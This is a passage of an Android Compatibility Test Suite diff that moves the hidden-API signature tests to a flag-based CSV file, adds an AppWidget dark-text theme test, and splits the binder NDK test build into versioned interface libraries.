+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="class" value="android.signature.cts.api.HiddenApiTest" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+ <option name="runtime-hint" value="30s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
index e518f14..bfd890b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
@@ -17,6 +17,6 @@
include $(CLEAR_VARS)
LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index dfcd0d9..ab5e735 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -21,8 +21,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
- <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+ <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.HiddenApiTest" />
- <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
index 7f6d5b6..9048d8e 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
@@ -17,6 +17,6 @@
include $(CLEAR_VARS)
LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index e58c362..090d69b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -21,8 +21,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
- <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+ <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
- <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 17a5b78..3d31aa7 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -18,7 +18,6 @@
import android.os.Bundle;
import android.provider.Settings;
-import android.signature.cts.DexApiDocumentParser;
import android.signature.cts.DexField;
import android.signature.cts.DexMember;
import android.signature.cts.DexMemberChecker;
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
index 61511c3..d1f019b 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
@@ -67,11 +67,11 @@
String klass_desc = "L" + klass.getName().replace('.', '/') + ";";
DexMember[] members = new DexMember[field_infos[0].length + method_infos[0].length];
for (int i = 0; i < field_infos[0].length; i++) {
- members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i]);
+ members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i], null);
}
for (int i = 0; i < method_infos[0].length; i++) {
members[i + field_infos[0].length] =
- new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i]);
+ new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i], null);
}
return Arrays.stream(members);
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index ba8e8c5..3f4626c 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -42,11 +42,13 @@
*/
public class HiddenApiTest extends AbstractApiTest {
- private String[] hiddenApiFiles;
+ private String[] hiddenapiFiles;
+ private String[] hiddenapiTestFlags;
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
- hiddenApiFiles = getCommaSeparatedList(instrumentationArgs, "hidden-api-files");
+ hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
+ hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
}
@Override
@@ -108,8 +110,10 @@
}
}
};
- parseDexApiFilesAsStream(hiddenApiFiles).forEach(dexMember -> {
- DexMemberChecker.checkSingleMember(dexMember, observer);
+ parseDexApiFilesAsStream(hiddenapiFiles).forEach(dexMember -> {
+ if (shouldTestMember(dexMember)) {
+ DexMemberChecker.checkSingleMember(dexMember, observer);
+ }
});
});
}
@@ -122,4 +126,15 @@
.flatMap(stream -> dexApiDocumentParser.parseAsStream(stream));
}
+ private boolean shouldTestMember(DexMember member) {
+ for (String testFlag : hiddenapiTestFlags) {
+ for (String memberFlag : member.getHiddenapiFlags()) {
+ if (testFlag.equals(memberFlag)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
}
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index f8ec3d1..fead7c7 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -27,6 +27,7 @@
CtsHiddenApiBlacklistCurrentApiTestCases
CtsHiddenApiBlacklistApi27TestCases
+CtsHiddenApiBlacklistApi28TestCases
CtsHiddenApiBlacklistDebugClassTestCases
CtsHiddenApiKillswitchWildcardTestCases
diff --git a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
index 58be322..9ea8048 100644
--- a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
@@ -19,6 +19,7 @@
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
+import java.util.Arrays;
import java.util.Spliterator;
import java.util.function.Consumer;
import java.util.regex.Matcher;
@@ -109,9 +110,14 @@
// Increment the line number.
mLineNum = mLineNum + 1;
+ // Split the CSV line.
+ String[] splitLine = line.split(",");
+ String signature = splitLine[0];
+ String[] flags = Arrays.copyOfRange(splitLine, 1, splitLine.length);
+
// Match line against regex patterns.
- Matcher matchField = REGEX_FIELD.matcher(line);
- Matcher matchMethod = REGEX_METHOD.matcher(line);
+ Matcher matchField = REGEX_FIELD.matcher(signature);
+ Matcher matchMethod = REGEX_METHOD.matcher(signature);
// Check that *exactly* one pattern matches.
int matchCount = (matchField.matches() ? 1 : 0) + (matchMethod.matches() ? 1 : 0);
@@ -121,13 +127,13 @@
throw new ParseException("Ambiguous parse: \"" + line + "\"", mLineNum);
}
- // Extract information from the line.
+ // Extract information from the signature.
if (matchField.matches()) {
return new DexField(
- matchField.group(1), matchField.group(2), matchField.group(3));
+ matchField.group(1), matchField.group(2), matchField.group(3), flags);
} else if (matchMethod.matches()) {
return new DexMethod(
- matchMethod.group(1),matchMethod.group(2), matchMethod.group(3));
+ matchMethod.group(1),matchMethod.group(2), matchMethod.group(3), flags);
} else {
throw new IllegalStateException();
}
diff --git a/tests/signature/src/android/signature/cts/DexField.java b/tests/signature/src/android/signature/cts/DexField.java
index 57f6196..5562e98 100644
--- a/tests/signature/src/android/signature/cts/DexField.java
+++ b/tests/signature/src/android/signature/cts/DexField.java
@@ -16,8 +16,8 @@
package android.signature.cts;
public class DexField extends DexMember {
- public DexField(String className, String name, String type) {
- super(className, name, type);
+ public DexField(String className, String name, String type, String[] flags) {
+ super(className, name, type, flags);
}
@Override
diff --git a/tests/signature/src/android/signature/cts/DexMember.java b/tests/signature/src/android/signature/cts/DexMember.java
index 930f92b..a3898ec 100644
--- a/tests/signature/src/android/signature/cts/DexMember.java
+++ b/tests/signature/src/android/signature/cts/DexMember.java
@@ -22,11 +22,13 @@
private final String mName;
private final String mClassDescriptor;
private final String mType;
+ private final String[] mFlags;
- protected DexMember(String className, String name, String type) {
+ protected DexMember(String className, String name, String type, String[] flags) {
mName = name;
mClassDescriptor = className;
mType = type;
+ mFlags = flags;
}
public String getName() {
@@ -49,6 +51,10 @@
return dexToJavaType(mType);
}
+ public String[] getHiddenapiFlags() {
+ return mFlags;
+ }
+
/**
* Converts `type` to a Java type.
*/
diff --git a/tests/signature/src/android/signature/cts/DexMethod.java b/tests/signature/src/android/signature/cts/DexMethod.java
index ad21c7a..9f209fe 100644
--- a/tests/signature/src/android/signature/cts/DexMethod.java
+++ b/tests/signature/src/android/signature/cts/DexMethod.java
@@ -24,8 +24,8 @@
public class DexMethod extends DexMember {
private final List<String> mParamTypeList;
- public DexMethod(String className, String name, String signature) {
- super(className, name, parseDexReturnType(signature));
+ public DexMethod(String className, String name, String signature, String[] flags) {
+ super(className, name, parseDexReturnType(signature), flags);
mParamTypeList = parseDexTypeList(signature);
}
diff --git a/tests/tests/appwidget/res/layout/simple_black_layout.xml b/tests/tests/appwidget/res/layout/simple_black_layout.xml
new file mode 100644
index 0000000..f1adbe9
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/simple_black_layout.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<TextView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:background="#FF000000"
+ android:id="@+id/hello" />
diff --git a/tests/tests/appwidget/res/layout/simple_white_layout.xml b/tests/tests/appwidget/res/layout/simple_white_layout.xml
new file mode 100644
index 0000000..314fd30
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/simple_white_layout.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<TextView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:background="#FFFFFFFF"
+ android:id="@+id/hello" />
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java b/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java
new file mode 100644
index 0000000..924f272
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appwidget.cts;
+
+import static android.view.View.FIND_VIEWS_WITH_TEXT;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetHostView;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetProviderInfo;
+import android.appwidget.cts.activity.EmptyActivity;
+import android.appwidget.cts.service.MyAppWidgetService;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.ArrayMap;
+import android.view.View;
+import android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import android.widget.ListView;
+import android.widget.RemoteViews;
+import android.widget.RemoteViewsService;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.function.Predicate;
+
+/**
+ * Test AppWidgets dark text theme
+ */
+@LargeTest
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class DarkTextThemeTest extends AppWidgetTestCase {
+
+ @Rule
+ public ActivityTestRule<EmptyActivity> mActivityRule =
+ new ActivityTestRule<>(EmptyActivity.class);
+
+ private boolean mHasAppWidgets;
+
+ private EmptyActivity mActivity;
+
+ private AppWidgetHost mAppWidgetHost;
+
+ private MyHostView mAppWidgetHostView;
+ private int mAppWidgetId;
+
+ @Before
+ public void setup() throws Throwable {
+ mHasAppWidgets = hasAppWidgets();
+ if (!mHasAppWidgets) {
+ return;
+ }
+ // We want to bind widgets - run a shell command to grant bind permission to our
+ // package.
+ grantBindAppWidgetPermission();
+
+ mActivity = mActivityRule.getActivity();
+ mActivityRule.runOnUiThread(this::bindNewWidget);
+ }
+
+ @After
+ public void teardown() throws Exception {
+ if (!mHasAppWidgets) {
+ return;
+ }
+ mAppWidgetHost.deleteHost();
+ revokeBindAppWidgetPermission();
+ }
+
+ private void bindNewWidget() {
+ mAppWidgetHost = new AppWidgetHost(mActivity, 0) {
+ @Override
+ protected AppWidgetHostView onCreateView(Context context, int appWidgetId,
+ AppWidgetProviderInfo appWidget) {
+ return new MyHostView(context);
+ }
+ };
+ mAppWidgetHost.deleteHost();
+ mAppWidgetHost.startListening();
+
+ // Allocate a widget id to bind
+ mAppWidgetId = mAppWidgetHost.allocateAppWidgetId();
+
+ // Bind the app widget
+ final AppWidgetProviderInfo providerInfo = getProviderInfo(getFirstWidgetComponent());
+ boolean isBinding = getAppWidgetManager().bindAppWidgetIdIfAllowed(mAppWidgetId,
+ providerInfo.getProfile(), providerInfo.provider, null);
+ assertTrue(isBinding);
+
+ // Create host view
+ mAppWidgetHostView = (MyHostView) mAppWidgetHost
+ .createView(mActivity, mAppWidgetId, providerInfo);
+ mActivity.setContentView(mAppWidgetHostView);
+ }
+
+ @Test
+ public void testWidget_light() throws Throwable {
+ if (!mHasAppWidgets) {
+ return;
+ }
+ // Push update
+ RemoteViews views = getViewsForResponse();
+ getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+
+ // Await until update
+ CountDownLatch updateLatch = new CountDownLatch(1);
+ mAppWidgetHostView.mCommands.put(
+ (v) -> v.findViewById(R.id.hello) != null, updateLatch::countDown);
+ updateLatch.await();
+
+ // Perform click
+ verifyColor(mAppWidgetHostView, Color.WHITE);
+ }
+
+ @Test
+ public void testWidget_dark() throws Throwable {
+ if (!mHasAppWidgets) {
+ return;
+ }
+ mActivity.runOnUiThread(() -> mAppWidgetHostView.setOnLightBackground(true));
+
+ // Push update
+ RemoteViews views = getViewsForResponse();
+ getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+
+ // Await until update
+ CountDownLatch updateLatch = new CountDownLatch(1);
+ mAppWidgetHostView.mCommands.put(
+ (v) -> v.findViewById(R.id.hello) != null, updateLatch::countDown);
+ updateLatch.await();
+
+ // Perform click
+ verifyColor(mAppWidgetHostView, Color.BLACK);
+ }
+
+ @Test
+ public void testCollection_light() throws Throwable {
+ if (!mHasAppWidgets) {
+ return;
+ }
+
+ setupAndAwaitCollectionWidget();
+
+ // Perform click on various elements
+ ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+ verifyColor(listView.getChildAt(0), Color.WHITE);
+ verifyColor(listView.getChildAt(1), Color.WHITE);
+ verifyColor(listView.getChildAt(2), Color.WHITE);
+ }
+
+ @Test
+ public void testCollection_dark() throws Throwable {
+ if (!mHasAppWidgets) {
+ return;
+ }
+ mActivity.runOnUiThread(() -> mAppWidgetHostView.setOnLightBackground(true));
+
+ setupAndAwaitCollectionWidget();
+
+ // Perform click on various elements
+ ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+ verifyColor(listView.getChildAt(0), Color.BLACK);
+ verifyColor(listView.getChildAt(1), Color.BLACK);
+ verifyColor(listView.getChildAt(2), Color.BLACK);
+ }
+
+ private void setupAndAwaitCollectionWidget() throws Throwable {
+ // Configure the app widget service behavior
+ RemoteViewsService.RemoteViewsFactory factory =
+ mock(RemoteViewsService.RemoteViewsFactory.class);
+ when(factory.getCount()).thenReturn(3);
+ doAnswer(invocation -> {
+ final int position = (Integer) invocation.getArguments()[0];
+ RemoteViews remoteViews = getViewsForResponse();
+ remoteViews.setTextViewText(R.id.hello, "Text " + position);
+ return remoteViews;
+ }).when(factory).getViewAt(any(int.class));
+ when(factory.getViewTypeCount()).thenReturn(1);
+ MyAppWidgetService.setFactory(factory);
+
+ // Push update
+ RemoteViews views = new RemoteViews(mActivity.getPackageName(),
+ R.layout.remoteviews_adapter);
+ Intent listIntent = new Intent(mActivity, MyAppWidgetService.class)
+ .putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, mAppWidgetId);
+ listIntent.setData(Uri.parse(listIntent.toUri(Intent.URI_INTENT_SCHEME)));
+ views.setRemoteAdapter(R.id.remoteViews_list, listIntent);
+ views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
+ views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
+
+ // Await until update
+ getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+ CountDownLatch updateLatch = new CountDownLatch(1);
+ mActivityRule.runOnUiThread(() -> mAppWidgetHostView.getViewTreeObserver()
+ .addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
+ @Override
+ public void onGlobalLayout() {
+ mAppWidgetHostView.post(this::verifyChildrenAdded);
+ }
+
+ private void verifyChildrenAdded() {
+ ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+ if (listView == null || listView.getChildCount() != 3) {
+ return;
+ }
+ if (hasText("Text 0", listView.getChildAt(0))
+ && hasText("Text 1", listView.getChildAt(1))
+ && hasText("Text 2", listView.getChildAt(2))) {
+ updateLatch.countDown();
+ }
+ }
+
+ private boolean hasText(String text, View parent) {
+ ArrayList<View> out = new ArrayList<>();
+ parent.findViewsWithText(out, text, FIND_VIEWS_WITH_TEXT);
+ return !out.isEmpty();
+ }
+ }));
+ updateLatch.await();
+ }
+
+ private RemoteViews getViewsForResponse() {
+ RemoteViews views = new RemoteViews(mActivity.getPackageName(),
+ R.layout.simple_white_layout);
+ views.setLightBackgroundLayoutId(R.layout.simple_black_layout);
+ return views;
+ }
+
+ private void verifyColor(View parent, int color) {
+ Drawable bg = parent.findViewById(R.id.hello).getBackground();
+ assertTrue(bg instanceof ColorDrawable);
+ assertEquals(color, ((ColorDrawable) bg).getColor());
+ }
+
+ /**
+ * Host view which supports waiting for a update to happen.
+ */
+ private static class MyHostView extends AppWidgetHostView {
+
+ final ArrayMap<Predicate<MyHostView>, Runnable> mCommands = new ArrayMap<>();
+
+ MyHostView(Context context) {
+ super(context);
+ }
+
+ @Override
+ public void updateAppWidget(RemoteViews remoteViews) {
+ super.updateAppWidget(remoteViews);
+
+ for (int i = mCommands.size() - 1; i >= 0; i--) {
+ if (mCommands.keyAt(i).test(this)) {
+ Runnable action = mCommands.valueAt(i);
+ mCommands.removeAt(i);
+ action.run();
+ }
+ }
+ }
+ }
+}
diff --git a/tests/tests/binder_ndk/Android.mk b/tests/tests/binder_ndk/Android.mk
index 4bcf128..398bbe4 100644
--- a/tests/tests/binder_ndk/Android.mk
+++ b/tests/tests/binder_ndk/Android.mk
@@ -35,10 +35,16 @@
libbinder_ndk_test_interface-java \
nativetesthelper
-LOCAL_JNI_SHARED_LIBRARIES := libbinder_ndk_test
+LOCAL_JNI_SHARED_LIBRARIES := \
+ libbinder_ndk_test \
+ libbinder_ndk_test_utilities \
+ libbinder_ndk_test_interface-ndk \
+ libbinder_ndk_test_interface_old \
+ libbinder_ndk_test_interface_new \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_shared
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
index 8876503..d4ab466 100644
--- a/tests/tests/binder_ndk/AndroidManifest.xml
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -36,6 +36,11 @@
android:name="android.binder.cts.NativeService$Remote"
android:process=":native"
android:exported="true" />
+
+ <service
+ android:name="android.binder.cts.NativeService$RemoteOld"
+ android:process=":native_old"
+ android:exported="true" />
</application>
<!-- This is a self-instrumenting test package. -->
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 5aa33e8..a196ddd 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -18,37 +18,82 @@
"test_package/IEmpty.aidl",
"test_package/ITest.aidl",
"test_package/RegularPolygon.aidl",
+ "test_package/Bar.aidl",
+ "test_package/Foo.aidl",
],
+ versions: ["1"],
}
-cc_library_shared {
- name: "libbinder_ndk_test",
+cc_defaults {
+ name: "libbinder_ndk_test_defaults",
cflags: [
"-Wall",
"-Werror",
],
- srcs: [
- "android_binder_cts_NativeService.cpp",
- "test_ibinder.cpp",
- "test_ibinder_jni.cpp",
- "test_native_aidl_client.cpp",
- "test_parcel.cpp",
- "test_status.cpp",
- "utilities.cpp",
- ],
-
shared_libs: [
"liblog",
"libbinder_ndk",
],
whole_static_libs: ["libnativetesthelper_jni"],
- static_libs: [
- "libbinder_ndk_test_interface-ndk",
- ],
sdk_version: "current",
- cpp_std: "c++17",
stl: "c++_static",
}
+
+cc_library_shared {
+ name: "libbinder_ndk_test_utilities",
+ defaults: ["libbinder_ndk_test_defaults"],
+ srcs: ["utilities.cpp"],
+}
+
+cc_library_shared {
+ name: "libbinder_ndk_test_interface_new",
+ defaults: ["libbinder_ndk_test_defaults"],
+ srcs: [
+ "android_binder_cts_NativeService.cpp",
+ ],
+
+ // Using the up-to-date version of the interface
+
+ shared_libs: [
+ "libbinder_ndk_test_interface-ndk",
+ "libbinder_ndk_test_utilities",
+ ],
+}
+
+cc_library_shared {
+ name: "libbinder_ndk_test_interface_old",
+ defaults: ["libbinder_ndk_test_defaults"],
+ srcs: [
+ "android_binder_cts_NativeService.cpp",
+ ],
+ cflags: ["-DUSING_VERSION_1"],
+
+ // Using the frozen version 1 of the interface
+ static_libs: [
+ "libbinder_ndk_test_interface-V1-ndk",
+ ],
+
+ shared_libs: [
+ "libbinder_ndk_test_utilities",
+ ],
+}
+
+cc_library_shared {
+ name: "libbinder_ndk_test",
+ defaults: ["libbinder_ndk_test_defaults"],
+ srcs: [
+ "test_ibinder.cpp",
+ "test_ibinder_jni.cpp",
+ "test_native_aidl_client.cpp",
+ "test_parcel.cpp",
+ "test_status.cpp",
+ ],
+
+ shared_libs: [
+ "libbinder_ndk_test_interface-ndk",
+ "libbinder_ndk_test_utilities",
+ ],
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
new file mode 100644
index 0000000..6a5d253
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
@@ -0,0 +1,7 @@
+package test_package;
+parcelable Bar {
+ String a = "BAR";
+ String b = "BAR2";
+ float c = 4.200000f;
+ int d = 100;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
new file mode 100644
index 0000000..cb1dd28
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
@@ -0,0 +1,9 @@
+package test_package;
+parcelable Foo {
+ String a = "FOO";
+ int b = 42;
+ float c = 3.140000f;
+ test_package.Bar d;
+ test_package.Bar e;
+ int f = 3;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
new file mode 100644
index 0000000..2baa52c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
@@ -0,0 +1,3 @@
+package test_package;
+interface IEmpty {
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
new file mode 100644
index 0000000..c212607
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
@@ -0,0 +1,54 @@
+package test_package;
+interface ITest {
+ String GetName();
+ void TestVoidReturn();
+ void TestOneway();
+ int GiveMeMyCallingPid();
+ int GiveMeMyCallingUid();
+ void CacheCallingInfoFromOneway();
+ int GiveMeMyCallingPidFromOneway();
+ int GiveMeMyCallingUidFromOneway();
+ int RepeatInt(int value);
+ long RepeatLong(long value);
+ float RepeatFloat(float value);
+ double RepeatDouble(double value);
+ boolean RepeatBoolean(boolean value);
+ char RepeatChar(char value);
+ byte RepeatByte(byte value);
